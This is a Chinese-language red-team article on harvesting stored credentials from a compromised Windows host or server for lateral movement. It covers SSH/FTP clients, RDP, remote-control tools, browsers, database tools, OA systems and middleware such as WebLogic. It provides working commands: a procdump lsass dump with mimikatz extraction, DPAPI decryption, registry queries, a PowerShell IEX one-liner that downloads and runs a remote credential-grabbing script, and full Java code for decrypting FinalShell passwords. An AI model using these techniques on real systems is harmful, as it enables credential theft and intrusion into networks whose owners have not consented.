声明
文章内容大部分来自于虚拟环境,少部分来自于日常渗透项目,涉及内容仅作技术交流使用,切勿用于违法行为!
前言
日常在渗透测试,红队行动中,要想通过已经获取的权限来进行内网渗透,扩大战果,最直接最有效的方式就是利用已经拿下的权限来搜集各类凭证去做横向,内网密码搜集的越多,横向渗透也就越方便,越可以接近靶标或者内网最高权限。
文章列举了常见的远程链接,远程控制,浏览器,常见数据库中间件相关软件和系统的凭证获取方式。文中涉及的工具已贴出链接,均可在互联网公开进行下载,由于各种原因,文中难免出现纰漏,还请各位师傅批评指正。
01
FTP,SSH相关软件
FileZilla
简介:FileZilla 客户端是一个快速可靠的、跨平台的FTP,FTPS和SFTP客户端。具有图形用户界面(GUI)和很多有用的特性。
查找FileZilla的recentservers.xml
默认位置:
userprofile%AppDataRoamingFileZillarecentservers.xml
拿到登录过的ftp服务器账号密码,
<Host>192.168.192.129</Host>
<Port>21</Port>
<User>ftpadmin</User>
<Pass encoding="base64">ZnRwQDEyMw==</Pass>
密码base64解码即可得到明文:
也可以利用SharpDecryptPwd直接获取密码
SharpDecryptPwd.exe -FileZilla
也可以从msf和cs获取密码
run post/multi/gather/filezilla_client_cred
Winscp
简介:WinSCP 是一个 Windows 环境下使用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件
通过注册表获得密文,通过winscppwd.exe获取
reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessions"
reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessionsroot@192.168.192.128"
winscppwd.exe root 192.168.192.128 密文
这时候直接查找该文件,然后解密即可。
winscppwd.exe下载地址:
https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml#download
也可以利用msf和cs来抓取密码
Xshell:
简介:Xshell是一款功能强大的终端模拟器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。
xshell密码默认保存位置:
XShell5:%userprofile%DocumentsNetSarangXshellSessions
XShell6:%userprofile%DocumentsNetSarang Computer6XshellSessions
解密工具:
https://github.com/dzxs/Xdecrypt
利用user和sid来执行:
python Xdecrypt.py -s user+sid -p %userprofile%DocumentsNetSarangXshellSessions
注:XShell7默认session里面的密码为空,这种可以使用星号密码查看器直接查看密码
FinalShell
简介:FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具。
配置文件地址:
userprofile%AppDataLocalfinalshellconnxxx.json
解密密文
某大佬写的解密源码
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.Base64;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.DESKeySpec;
public class FinalShellDecodePass {
public static void main(String[] args)throws Exception {
System.out.println(decodePass(args[0]));
}
public static byte[] desDecode(byte[] data, byte[] head) throws Exception {
SecureRandom sr = new SecureRandom();
DESKeySpec dks = new DESKeySpec(head);
SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES");
SecretKey securekey = keyFactory.generateSecret(dks);
Cipher cipher = Cipher.getInstance("DES");
cipher.init(2, securekey, sr);
return cipher.doFinal(data);
}
public static String decodePass(String data) throws Exception {
if (data == null) {
return null;
} else {
String rs = "";
byte[] buf = Base64.getDecoder().decode(data);
byte[] head = new byte[8];
System.arraycopy(buf, 0, head, 0, head.length);
byte[] d = new byte[buf.length - head.length];
System.arraycopy(buf, head.length, d, 0, d.length);
byte[] bt = desDecode(d, ranDomKey(head));
rs = new String(bt);
return rs;
}
}
static byte[] ranDomKey(byte[] head) {
long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127);
Random random = new Random(ks);
int t = head[0];
for(int i = 0; i < t; ++i) {
random.nextLong();
}
long n = random.nextLong();
Random r2 = new Random(n);
long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]};
ByteArrayOutputStream bos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(bos);
long[] var15 = ld;
int var14 = ld.length;
for(int var13 = 0; var13 < var14; ++var13) {
long l = var15[var13];
try {
dos.writeLong(l);
} catch (IOException var18) {
var18.printStackTrace();
}
}
try {
dos.close();
} catch (IOException var17) {
var17.printStackTrace();
}
byte[] keyData = bos.toByteArray();
keyData = md5(keyData);
return keyData;
}
public static byte[] md5(byte[] data) {
String ret = null;
byte[] res=null;
try {
MessageDigest m;
m = MessageDigest.getInstance("MD5");
m.update(data, 0, data.length);
res=m.digest();
ret = new BigInteger(1, res).toString(16);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return res;
}
}
02
rdp相关凭证
本机rdp密码
上不了线的情况下,可以在webshell中来dump内存,保存到本地解密即可。
比如利用procdump64.exe
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
利用mimikatz解密:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
文件lsass.dmp的导出可以有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不过多赘述,能够免杀转储即可。
rdp登录凭证
Windows自带的远程桌面缓存,当本机链接过某些机器的远程桌面后,会在本地留下rdp登录凭证,如果我们获得了远程桌面的凭证,可以方便我们进行渗透测试中的横向移动。
查看本机链接过哪些机器
reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"
获取Credentials
dir /a %userprofile%AppDataLocalMicrosoftCredentials*
获取guidMasterKey
dpapi::cred /in:C:UsersadministratorAppDataLocalMicrosoftCredentialsCredentials值
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt
获取明文rdp凭证
dpapi::cred /in:C:UsersadministratorAppDataLocalMicrosoftCredentialsCredentials值 /masterkey:masterkey值
也可以利用netpass直接获取
下载地址:
netpass
https://www.nirsoft.net/utils/network_password_recovery.html
03
远控相关软件
TeamViewer
TeamViewer 是远程访问、远程控制及远程支持解决方案,能够远程访问位于各地的计算机或移动设备
直接获取本机TeamViewer的ID以及密码
SharpDecryptPwd.exe -TeamViewer
向日葵
向日葵目前最高版本是:V12.0.1.39931,
由于更新,在向日葵v11.1.2.38529中,强化了加密机制
删除了config.ini中的encry_pwd(本机验证码)。
所以解密的利用条件是:v11.0.0.38222以及以前的版本。
寻找配置文件config.ini,默认配置:
安装版:C:Program FilesOraySunLoginSunloginClientconfig.ini
便携版(绿色版):C:ProgramDataOraySunloginClientconfig.ini
关注encry_pwd以及fastcode字段
其中encry_pwd是验证码加密后的字段,fastcode便是k+本机识别码,
解密encry_pwd
利用工具:
得到本机验证码和本机识别码
04
浏览器相关软件
否则利用该工具进行抓取
地址:
https://github.com/moonD4rk/HackBrowserData
Get 1 passwords, filename is results/chrome_password.csv
Get 1 passwords, filename is results/360speed_password.csv
ie浏览器:
工具地址:
执行powershell解密即可
从远程解密
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"
从本地解密
也可以用IE PassView
下载地址:
360安全浏览器
利用工具
05
数据库凭证相关软件和系统
navicat
简介:Navicat Premium 是一套多连接数据库开发工具,可一次快速方便地访问多种数据库。
注册表获取pwd字段:
HKEY_CURRENT_USERSOFTWAREPremiumSoftNavicatServerslocalhost
使用navicatpwd.exe解密即可
下载地址:https://github.com/pxss/navicatpwd
致远oa
数据库配置文件默认位置:
/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties
致远oa数据库解密
工具下载地址:
用友nc
数据库配置文件默认位置:
/nchome/ierp/bin/prop.xml
用友数据库解密,工具下载地址:
泛微oa
数据库配置文件默认位置:
D:WEAVERecologyWEB-INFpropweaver.properties
万户oa
数据库配置文件默认位置:
D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml
06
中间件相关系统
tomcat
数据库配置文件:
实战中遇见的tomcat常见数据库配置文件名:
db.properties
jdbc.properties
dbpool.properties
config.properties
sso-config.properties
minaconfig.properties
missCallAlertExclude.properties
url_img.properties
webapp.properties
Proxool.properties
application.properties
tomcat控制台账号密码:
activeMQ
登录密码存放路径:
/apache-activemq/conf/jetty-realm.properties
weblogic
weblogic控制台密码解密
查找boot.properties文件
weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
查找SerializedSystemIni.dat文件
weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat
成功解密
解密工具:
Nodemanager密码解密:
查找config.xml文件
/weblogic/user_projects/domains/base_domain/config/config.xml
数据库密码解密
查找jdbc相关文件
/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml
成功解密
也可以利用wlst.sh脚本进行解密
/bea/Oracle/Middleware/wlserver_10.3/common/bin
启动wlst
domain = "/bea/Oracle/Middleware/user_projects/domains/base_domain"
service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)
encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)
调用encrypt方法进行加密
print "Weblogic server Admin password: %s" %encryption.decrypt("{AES}xxxxxxxx")
成功解密
01
小结
在内网渗透信息收集过程中,凭证获取仅仅是其中一环,文中所提到的内容也仅仅是海量软件凭证获取的冰山一角,在实战中,往往会遇见各类陌生的软件,尤其是运维软件,可以依据个人经验,总结这些软件的凭证获取方式来进一步渗透,最后,希望各位师傅们每次都能够搜集海量密码,轻松肝下内网。
参考链接:
https://www.bilibili.com/read/cv9065650
https://payloads.cn/2019/1204/decrypt-the-password-hash-saved-in-winscp-client.html
https://www.ascotbe.com/2021/06/09/WindowsGrabPassword/
https://rcoil.me/2019/09/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91SharpDecryptPwd/
https://blog.csdn.net/SunJW_2017/article/details/115508202
https://github.com/jas502n/OA-Seeyou
https://mp.weixin.qq.com/s/msti9k7zUuvzEjAhGhfw7Q
https://mp.weixin.qq.com/s/tDjhRKgwl-sYDrdZOfgtvA
http://www.liulanqicode.com/
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论